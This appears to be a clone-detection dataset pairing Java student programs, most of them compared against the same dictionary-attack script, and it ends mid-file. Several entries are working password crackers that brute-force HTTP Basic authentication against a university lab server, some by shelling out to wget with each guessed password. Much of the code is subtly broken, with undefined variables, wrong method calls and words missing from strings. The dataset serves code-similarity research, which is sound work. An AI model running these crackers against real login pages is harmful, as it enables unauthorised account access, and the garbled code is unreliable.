F1
stringlengths 8
8
| F2
stringlengths 8
8
| label
int64 0
1
| text_1
stringlengths 174
63k
| text_2
stringlengths 174
63k
|
---|---|---|---|---|
240.java | 161.java | 0 |
import java.util.*;
import java.io.*;
import java.net.*;
class Dictionary
{
public static void main (String a[])
{
String pwd="";
try
{
BufferedReader bf = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));
int i=0;
while(bf.readLine() != null)
{
pwd= bf.readLine();
String userPassword = ":"+pwd;
RealThread myTh = new RealThread(i,userPassword);
Thread th = new Thread( myTh );
th.start();
try
{
th.sleep(100);
}
catch(Exception e)
{}
i++;
}
}
catch(Exception e )
{
System.out.println(" ex while ="+ e);
}
}
}
class RealThread implements Runnable
{
private int num;
private URL url;
private HttpURLConnection uc =null;
private String userPassword;
private int responseCode = 100;
public RealThread (int i, String userPassword)
{
try
{
url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");
}
catch(Exception ex1)
{
}
num = i;
this.userPassword = userPassword;
}
public int getResponseCode()
{
return this.responseCode;
}
public void run()
{
try
{
String encoding = new bf.misc.BASE64Encoder().encode (userPassword.getBytes());
uc = (HttpURLConnection)url.openConnection();
uc.setRequestProperty ("Authorization", " " + encoding);
System.out.println("Reponse = "+uc.getResponseCode()+"for pwd = "+userPassword);
this.responseCode = uc.getResponseCode();
if(uc.getResponseCode()==200)
{
System.out.println("====== Password Found : " +userPassword+ "=======================");
System.exit(0);
}
}
catch (Exception e) {
System.out.println("Could not execute Thread "+num+" ");
}
}
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
119.java | 161.java | 0 |
import java.util.*;
public class Dictionary {
private String strUsername;
private String strURL;
public Dictionary(String username, String url)
{
strUsername = username;
strURL = url;
}
public void run() {
Date dtStart, dtEnd;
PasswordFile pwd = new PasswordFile("/usr/dict/words");
PasswordTest tester;
int i=1;
boolean bDone = false;
Result res;
dtStart = new Date();
while(!bDone) {
tester = new PasswordTest(strURL, strUsername, pwd.getNextPassword());
bDone = tester;
i++;
if(bDone) {
res = new Result(strURL, strUsername, pwd.getPassword(), dtStart, new Date(), i);
System.out.print(res.toString());
}
else
{
}
if(pwd.getPassword() == null)
{
System.out.println("Exhausted word file without finding password");
bDone = true;
}
}
}
public static void main(String[] args) {
Dictionary dict = new Dictionary("", "http://sec-crack.cs.rmit.edu./SEC/2/");
dict.run();
}
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
006.java | 161.java | 0 |
import java.io.*;
import java.util.*;
import java.*;
import java.net.*;
public class WatchDog
{
static Process p = null;
static Process qproc = null;
static BufferedReader bf = null;
static StringTokenizer tok = null;
static String Path = null;
static String str = null;
static String urlStr=null;
static boolean changed = false;
static File indexfile = new File("index.html");
static File tmpfile = new File("tmpindex.html");
static File mdfile = new File("md5file.txt");
static File tmpmdfile = new File("tmpmd5file.txt");
static PrintWriter mailwriter = null;
public static void main (String[] args)
{
urlStr = "http://www.cs.rmit.edu./";
try
{
mailwriter = new PrintWriter(new BufferedWriter(new FileWriter("tomail.txt", false)));
getLatest(urlStr);
parseFile();
mailwriter.read();
if(changed)
{
System.out.println("Sending Mail");
p = Runtime.getRuntime().exec("./mailscript");
p.waitFor();
}
else
System.out.println(" mail sent");
} catch (IOException ioe)
{
System.out.println("IOException");
ioe.printStackTrace();
}
catch (InterruptedException intex)
{
System.out.println("Interrupted Exception");
intex.printStackTrace();
}
}
static void getLatest(String urlStr)
{
URL url = null;
try
{
url = new URL(urlStr);
} catch (MalformedURLException mfurl)
{
System.out.println("Malformed URL");
mfurl.printStackTrace();
}
try
{
mailwriter.println();
p = Runtime.getRuntime().exec("/usr//pwd");
p.waitFor();
bf= new BufferedReader(new InputStreamReader(
p.getInputStream()));
Path=bf.readLine();
if (indexfile.exists())
{
mailwriter.println("File with name 'index.html' found in directory.");
mailwriter.println("Renaming existing 'index.html' 'tmpindex.html...");
p = Runtime.getRuntime().exec("/usr//mv "+indexfile+ " " + Path+"/"+tmpfile);
p.waitFor();
p = Runtime.getRuntime().exec("/usr//mv "+mdfile+ " " + Path+"/"+tmpmdfile);
mailwriter.println();
mailwriter.println("File with name 'md5file.txt' found in directory.");
mailwriter.print("Renaming existing 'md5file.txt' 'tmpmd5file.txt...");
mailwriter.println(".");
mailwriter.println();
}
mailwriter.println("Downloading current version of site - " + urlStr);
p = Runtime.getRuntime().exec("/usr/local//wget "+url);
p.waitFor();
if (!tmpfile.exists())
{
mailwriter.println("File - " + urlStr + "index.html saved disk for the first time.");
}
} catch (IOException ioe)
{
System.out.println("IOException");
ioe.printStackTrace();
}
catch (IndexOutOfBoundsException iobe)
{
System.out.println("Index Out Of Bounds Exception");
iobe.printStackTrace();
}
catch (Exception e)
{
System.out.println("Exception");
e.printStackTrace();
}
}
static void parseFile()
{
Vector imgVect = new Vector();
try
{
p = Runtime.getRuntime().exec("/usr//grep img " + Path + "/"+ indexfile);
p.waitFor();
bf = new BufferedReader(new InputStreamReader(
p.getInputStream()));
while((str=bf.readLine())!=null)
{
bf = new StringTokenizer(str, "\"", false);
while(bf.hasMoreTokens())
{
str=bf.nextToken();
if ((str.indexOf("gif") > 0) || (str.indexOf("jpg") > 0))
imgVect.addElement(str);
}
}
}catch (IOException ioe)
{
System.out.println("IOException");
ioe.printStackTrace();
}
catch (Exception e)
{
System.out.println("Exception");
e.printStackTrace();
}
mailwriter.println("Creating file with md5sums of the webpage and images...");
md5Create(imgVect);
}
static void md5Create(Vector imgVect)
{
String tmpString = null;
Vector imgNames = new Vector();
try
{
PrintWriter pr = new PrintWriter(new BufferedWriter(new FileWriter(mdfile, false)));
p=Runtime.getRuntime().exec("/usr/local//md5sum "+indexfile);
p.waitFor();
bf= new BufferedReader(new InputStreamReader(
p.getInputStream()));
pr.println(bf.readLine());
for(int i=0; i<imgVect.size();i++)
{
imgNames.insertElementAt((getImgNames((String)imgVect.elementAt(i))), i);
imgVect.setElementAt((getFullPath((String)imgVect.elementAt(i))), i);
p=Runtime.getRuntime().exec("/usr/local//md5sum "+(String)imgNames.elementAt(i));
p.waitFor();
bf= new BufferedReader(new InputStreamReader(
p.getInputStream()));
pr.println(bf.readLine());
rmImgFile(Path+"/"+(String)imgNames.elementAt(i));
}
pr.get();
} catch (IOException ioe)
{
System.out.println("IOException");
ioe.printStackTrace();
}
catch (InterruptedException intex)
{
System.out.println("Interrupted Exception");
intex.printStackTrace();
}
if (tmpmdfile.exists())
compVersions((imgVect.size())+1);
}
static void compVersions(int numlines)
{
int tmp = 0;
int x = 0;
String[] md5A = new String[numlines];
Vector tmpmd5V = new Vector();
String[] tmpmd5A = null;
StringTokenizer stoken = null;
String mdImgName = null;
String mdImgVal = null;
String tmpImgName = null;
String tmpImgVal = null;
try
{
bf = new BufferedReader(new FileReader(mdfile));
while((str = bf.readLine()) != null)
{
md5A[tmp]=str;
tmp++;
}
bf = new BufferedReader(new FileReader(tmpmdfile));
tmp=0;
while ((str = bf.readLine()) !=null)
{
tmpmd5V.addElement(str);
tmp++;
}
tmpmd5A = (String[])tmpmd5V.toArray(new String[tmpmd5V.size()]);
if (tmpmd5A[0].compareTo(md5A[0]) != 0)
{
mailwriter.println("---The file index.html has changed.---");
mailwriter.println("-Diff of old and new -");
changed=true;
mailwriter.println();
p=Runtime.getRuntime().exec("/usr/local//diff index.html tmpindex.html");
p.waitFor();
bf= new BufferedReader(new InputStreamReader(p.getInputStream()));
while ((str = bf.readLine()) != null)
mailwriter.println(str);
}
else
{
mailwriter.println("The file index.html hasn't changed.");
mailwriter.println();
}
mailwriter.println();
mailwriter.println("Changes Images");
mailwriter.println("-----------------");
for (tmp=1; tmp<md5A.length; tmp++)
{
stoken = new StringTokenizer(md5A[tmp]);
mdImgVal = stoken.nextToken();
mdImgName = stoken.nextToken();
for (x=1; x<tmpmd5A.length; x++)
{
stoken = new StringTokenizer(tmpmd5A[x]);
tmpImgVal = stoken.nextToken();
tmpImgName = stoken.nextToken();
if (mdImgName.compareTo(tmpImgName) == 0)
{
if(mdImgVal.compareTo(tmpImgVal) == 0)
{
break;
}
else
{
mailwriter.println("The image "+mdImgName+" has changed.");
changed=true;
break;
}
}
if (x == ((tmpmd5A.length)-1))
{
mailwriter.println("The image "+mdImgName+" is new this ");
changed=true;
}
}
}
for (tmp=1; tmp<tmpmd5A.length; tmp++)
{
stoken = new StringTokenizer(tmpmd5A[tmp]);
tmpImgVal = stoken.nextToken();
tmpImgName = stoken.nextToken();
for (x=1; x<md5A.length; x++)
{
stoken = new StringTokenizer(md5A[x]);
mdImgVal = stoken.nextToken();
mdImgName = stoken.nextToken();
if (tmpImgName.compareTo(mdImgName) == 0)
{
break;
}
if (x == ((md5A.length)-1))
{
mailwriter.println("The image "+tmpImgName+" is longer the ");
changed=true;
}
}
}
} catch(IOException ioe)
{System.out.println("IOException");
ioe.printStackTrace();
}
catch(InterruptedException iex)
{System.out.println("Interrupted Exception");
iex.printStackTrace();
}
}
static Object getFullPath(String fname)
{
if(fname.charAt(0)== '/')
fname=urlStr+fname;
else if(fname.charAt(0) != 'h')
fname=urlStr+'/'+fname;
getImgFile(fname);
return (Object)fname;
}
static void getImgFile(String fullPath)
{
try
{
qproc=Runtime.getRuntime().exec("/usr/local//wget "+fullPath);
qproc.waitFor();
} catch (IOException ioe)
{
System.out.println("IOException");
ioe.printStackTrace();
}
catch (InterruptedException intex)
{
System.out.println("Interrupted Exception");
intex.printStackTrace();
}
}
static void rmImgFile(String delpath)
{
try
{
qproc=Runtime.getRuntime().exec("/usr//rm "+ delpath);
qproc.waitFor();
} catch (IOException ioe)
{
System.out.println("IOException");
ioe.printStackTrace();
}
catch (InterruptedException intex)
{
System.out.println("Interrupted Exception");
intex.printStackTrace();
}
}
static Object getImgNames(String prsName)
{
String str = new StringTokenizer(prsName, "/", false);
while(str.hasMoreTokens())
{
str=bgf.nextToken();
if ((str.indexOf("gif") > 0) || (str.indexOf("jpg") > 0))
prsName=str;
}
return (Object)prsName;
}
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
219.java | 161.java | 0 |
import java.io.*;
import java.util.*;
public class Dictionary extends Object {
public static void main(String args[]) {
TopThread top = new TopThread();
BottomThread bottom = new BottomThread();
top.start();
bottom.start();
}
}
class TopThread extends Thread {
String strLine="";
String pass="",s="";
int j=0;
BufferedReader in;
Process p;
int attempt=0;
int start = System.currentTimeMillis();
public void run ()
{
try {
in = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));
while((strLine = in.readLine()) != null) {
if(strLine.length()==3){
pass=strLine;
System.out.println("Trying crack using: "+pass);
try{
attempt++;
p = Runtime.getRuntime().exec("wget --http-user= --http-passwd="+pass+" http://sec-crack.cs.rmit.edu./SEC/2/index.php");
p.waitFor();
j = p.exitValue();
}
catch(Exception o){}
if(j==0)
{
stop = System.currentTimeMillis();
float duration = stop - start;
BufferedWriter out=new BufferedWriter(new FileWriter("out.txt",true));
out.write("\n");
out.write(" DICTIONARY ATTACK ---- Cool....Password Cracked: "+ pass +" in "+ attempt +" attempts in " + duration + " milliseconds " );
out.close();
System.out.println(" Cool....Password Cracked: "+ pass +" in "+ attempt +" attempts " + duration + " milliseconds ");
System.exit(0);
}
}
}
}
catch (IOException e) {
System.out.println("exception happened - here's what I know: ");
e.printStackTrace();
System.exit(-1);
}
}
}
class BottomThread extends Thread {
String strLine="";
String pass="",s="";
int j=0;
BufferedReader in;
Process p;
int attempt=0;
int start = System.currentTimeMillis();
public void run () {
ArrayList a = new ArrayList(4096);
try {
in = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));
while((strLine = in.readLine()) != null)
if(strLine.length()==3){
cad.add(strLine);
}
in.close();
} catch (IOException e) {
e.printStackTrace();
System.exit(1);
}
String strArray[] = new String[a.size()];
cad.toArray(strArray);
for(int i = strArray.length - 1; i >= 0; i--){
pass=strArray[i];
try {
System.out.println("Trying crack using: "+pass);
try{
attempt++;
p = Runtime.getRuntime().exec("wget --http-user= --http-passwd="+pass+" http://sec-crack.cs.rmit.edu./SEC/2/index.php");
p.waitFor();
j = p.exitValue();
}
catch(Exception o){}
if(j==0)
{
stop = System.currentTimeMillis();
float duration = stop - start;
BufferedWriter out=new BufferedWriter(new FileWriter("out.txt",true));
out.write("\n");
out.write(" DICTIONARY ATTACK ---- Cool....Password Cracked: "+ pass +" in "+ attempt +" attempts in " + duration + " milliseconds " );
out.close();
System.out.println(" Cool....Password Cracked: "+ pass +" in "+ attempt +" attempts " + duration + " milliseconds ");
System.exit(0);
}
}
catch (IOException e) {
System.out.println("exception happened - here's what I know: ");
e.printStackTrace();
System.exit(-1);
}
}
}
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
097.java | 161.java | 0 |
public class RunWatchDog{
public static void main(String []args){
WatchDog wd = new WatchDog();
System.out.println("WatchDog is Starting!");
wd.FirstRead();
wd.print();
}
} |
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
002.java | 161.java | 0 |
import java.io.*;
class Dictionary{
public static void main(String args[]){
try{
File file = new File("words");
FileReader fr = new FileReader(file);
BufferedReader bf = new BufferedReader(fr);
URLHack uh = new URLHack();
String line="";
while((line = bf.readLine()) != null){
if(line.length() <=3) {
uh.crackIt(line);
}
}
}
catch(IOException ioe){
System.out.println("Error: "+ioe);
}
}
}
class URLHack{
public void crackIt(String paas){
Process p=null;
try{
p = Runtime.getRuntime().exec("wget -nv --http-user= --http-passwd="+paas+
" http://sec-crack.cs.rmit.edu./SEC/2/");
InputStream is = p.getErrorStream();
BufferedReader bf = new BufferedReader(new InputStreamReader(is));
String tempLine="";
tempLine = bf.readLine();
System.out.println(tempLine);
if(tempLine.length() == 21)
System.out.println("Invalid Password " +paas);
else
{
System.out.println("Password is " + paas);
System.exit(0);
}
}
catch(Exception e){
System.out.println(" ERROR "+e);
}
}
} |
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
081.java | 161.java | 0 |
public class Base64 {
final static String baseTable = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
public static String encode(byte[] bytes) {
String tmp = "";
int i = 0;
byte pos;
for(i=0; i < (bytes.length - bytes.length%3); i+=3) {
pos = (byte) ((bytes[i] >> 2) & 63);
tmp = tmp + baseTable.charAt(pos);
pos = (byte) (((bytes[i] & 3) << 4) + ((bytes[i+1] >> 4) & 15));
tmp = tmp + baseTable.charAt( pos );
pos = (byte) (((bytes[i+1] & 15) << 2) + ((bytes[i+2] >> 6) & 3));
tmp = tmp + baseTable.charAt(pos);
pos = (byte) (((bytes[i+2]) & 63));
tmp = tmp + baseTable.charAt(pos);
if(((i+2)%56) == 0) {
tmp = tmp + "\r\n";
}
}
if(bytes.length % 3 != 0) {
if(bytes.length % 3 == 2) {
pos = (byte) ((bytes[i] >> 2) & 63);
tmp = tmp + baseTable.charAt(pos);
pos = (byte) (((bytes[i] & 3) << 4) + ((bytes[i+1] >> 4) & 15));
tmp = tmp + baseTable.charAt( pos );
pos = (byte) ((bytes[i+1] & 15) << 2);
tmp = tmp + baseTable.charAt(pos);
tmp = tmp + "=";
} else if(bytes.length % 3 == 1) {
pos = (byte) ((bytes[i] >> 2) & 63);
tmp = tmp + baseTable.charAt(pos);
pos = (byte) ((bytes[i] & 3) << 4);
tmp = tmp + baseTable.charAt( pos );
tmp = tmp + "==";
}
}
return tmp;
}
public static String encode(String src) {
return encode(src.getBytes());
}
public static byte[] decode(String src) throws Exception {
byte[] bytes = null;
StringBuffer buf = new StringBuffer(src);
int i = 0;
char c = ' ';
char oc = ' ';
while( i < buf.length()) {
oc = c;
c = buf.charAt(i);
if( oc == '\r' && c == '\n') {
buf.deleteCharAt(i);
buf.deleteCharAt(i-1);
i -= 2;
} else if( c == '\t') {
buf.deleteCharAt(i);
i --;
} else if( c == ' ') {
i --;
}
i++;
}
if(buf.length() % 4 != 0) {
throw new Exception("Base64 decoding invalid length");
}
bytes = new byte[3 * (buf.length() / 4)];
int index = 0;
for(i = 0; i < buf.length(); i+=4) {
byte data = 0;
int nGroup = 0;
for(int j = 0; j < 4; j++) {
char theChar = buf.charAt(i + j);
if(theChar == '=') {
data = 0;
} else {
data = getBaseTableIndex(theChar);
}
if(data == -1) {
throw new Exception("Base64 decoding bad character");
}
nGroup = 64*nGroup + data;
}
bytes[index] = (byte) (255 & (nGroup >> 16));
index ++;
bytes[index] = (byte) (255 & (nGroup >> 8));
index ++;
bytes[index] = (byte) (255 & (nGroup));
index ++;
}
byte[] newBytes = new byte[index];
for(i = 0; i < index; i++) {
newBytes[i] = bytes[i];
}
return newBytes;
}
protected static byte getBaseTableIndex(char c) {
byte index = -1;
for(byte i = 0; i < baseTable.length(); i ++) {
if(baseTable.charAt(i) == c) {
index = i;
break;
}
}
return index;
}
} |
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
192.java | 161.java | 0 |
import java.io.*;
import java.net.*;
import java.Runtime;
import java.util.*;
import java.net.smtp.SmtpClient;
public class WatchDog
{
static String strImageOutputFile01 = "WebPageImages01.txt";
static String strImageOutputFile02 = "WebPageImages02.txt";
static String strWebPageOutputFile01 = "WebPageOutput01.txt";
static String strWebPageOutputFile02 = "WebPageOutput02.txt";
static String strWatchDogDiffFile_01_02 = "WatchDogDiff_01_02.txt";
static String strFromEmailDefault = "@.rmit.edu.";
static String strToEmailDefault = "@.rmit.edu.";
static String strFromEmail = null;
static String strToEmail = null;
public static void main (String args[])
{
URL url = null;
HttpURLConnection urlConnection;
int intContentLength;
String strWebPageText = "";
String strURL = "http://www.cs.rmit.edu./students/";
String strPrePend = "http://www.cs.rmit.edu.";
boolean boolURLisOK = true;
System.out.println();
tidyUpWatchDogFiles();
promptForEmailAddresses();
try
{
url = new URL(strURL);
}
catch(MalformedURLException e)
{
System.out.println("ERROR: invalid URL " + strURL);
System.err.println(e);
boolURLisOK = false;
url = null;
}
catch(Exception e)
{
System.out.println("Exception");
System.err.println(e);
}
System.err.println();
if (boolURLisOK)
{
try
{
urlConnection = (HttpURLConnection)url.openConnection();
InputStream urlStream = urlConnection.getInputStream();
int intNumRead = urlStream.print();
String strNewContent;
while (intNumRead != -1)
{
intNumRead = urlStream.print();
if (intNumRead != -1)
{
strNewContent = (char)intNumRead + "";
strWebPageText += strNewContent;
}
}
urlStream.print();
if (strWebPageText != null)
{
if (fileExists(strWebPageOutputFile01))
{
writeTextToFile(strWebPageText, strWebPageOutputFile02);
}
else
{
writeTextToFile(strWebPageText, strWebPageOutputFile01);
}
if (fileExists(strWebPageOutputFile02))
{
System.out.println("Output file");
System.out.println("-----------");
System.out.println("The output file '" +
strWebPageOutputFile02 +
"' has NOW BEEN created.");
System.out.println();
System.out.println("Comparison");
System.out.println("----------");
System.out.println("A text comparison NOW performed " +
"with the output");
System.out.println("file '" + strWebPageOutputFile01 + "'.");
System.out.println();
createDiffFileIfNeeded(strWebPageOutputFile01,
strWebPageOutputFile02);
if (fileExists(strWatchDogDiffFile_01_02))
{
System.out.println("Mail (ordinary text comparison)");
System.out.println("--------------------------------");
if (getFileSize(strWatchDogDiffFile_01_02) > 0)
{
sendMailWithDetectedChanges();
System.out.println("Text diff mail has been sent the '' email address.");
}
else
{
System.out.println("The DIFF file has zero length - text diff mail has NOT been sent.");
}
}
createImageTextFile(strWebPageOutputFile01, strPrePend);
createImageTextFile(strWebPageOutputFile02, strPrePend);
System.out.println();
System.out.println("Image text file/s");
System.out.println("-----------------");
if (fileExists(strImageOutputFile01))
{
System.out.println("'" + strImageOutputFile01 + "' has been created.");
System.out.println("Images from '" + strImageOutputFile01 + "' now downloaded using");
System.out.println("the Unix 'wget' command:");
downloadImages(strImageOutputFile01);
}
if (fileExists(strImageOutputFile02))
{
System.out.println();
System.out.println("'" + strImageOutputFile02 + "' has been created.");
}
System.out.println();
}
else if (fileExists(strWebPageOutputFile01))
{
System.out.println("Output file");
System.out.println("-----------");
System.out.println("The output file '" +
strWebPageOutputFile01 +
"' has NOW BEEN created.");
System.out.println();
System.out.println("Comparison");
System.out.println("----------");
System.out.println("A comparison CANNOT performed " +
"with this output file");
System.out.println("because it is the only output file " +
"in existence.");
System.out.println();
}
}
}
catch(Exception e)
{
boolURLisOK = false;
System.err.println(e);
}
finally
{
urlConnection = null;
url = null;
}
}
System.out.println();
}
static void tidyUpWatchDogFiles()
{
deleteFile(strWatchDogDiffFile_01_02);
deleteFile(strImageOutputFile01);
deleteFile(strImageOutputFile02);
if (fileExists(strWebPageOutputFile01))
{
if (fileExists(strWebPageOutputFile02))
{
deleteFile(strWebPageOutputFile01);
renameFile(strWebPageOutputFile02, strWebPageOutputFile01);
}
}
else
{
deleteFile(strWebPageOutputFile02);
}
}
static void promptForEmailAddresses()
{
BufferedReader stdin = new BufferedReader(new InputStreamReader(System.in));
System.out.println();
System.out.println("'From' email address");
System.out.println("--------------------");
System.out.println("Please enter a 'From' email address, press Enter for default");
System.out.print("(default: " + strFromEmailDefault + "): ");
try
{
strFromEmail = stdin.readLine();
}
catch (Exception e)
{
System.err.println(e);
}
System.out.println();
if ( (strFromEmail == null) || (strFromEmail.length() == 0) )
{
System.out.println(" email address was entered.");
System.out.println("The 'From' email address default : " + strFromEmailDefault);
strFromEmail = strFromEmailDefault;
}
else
{
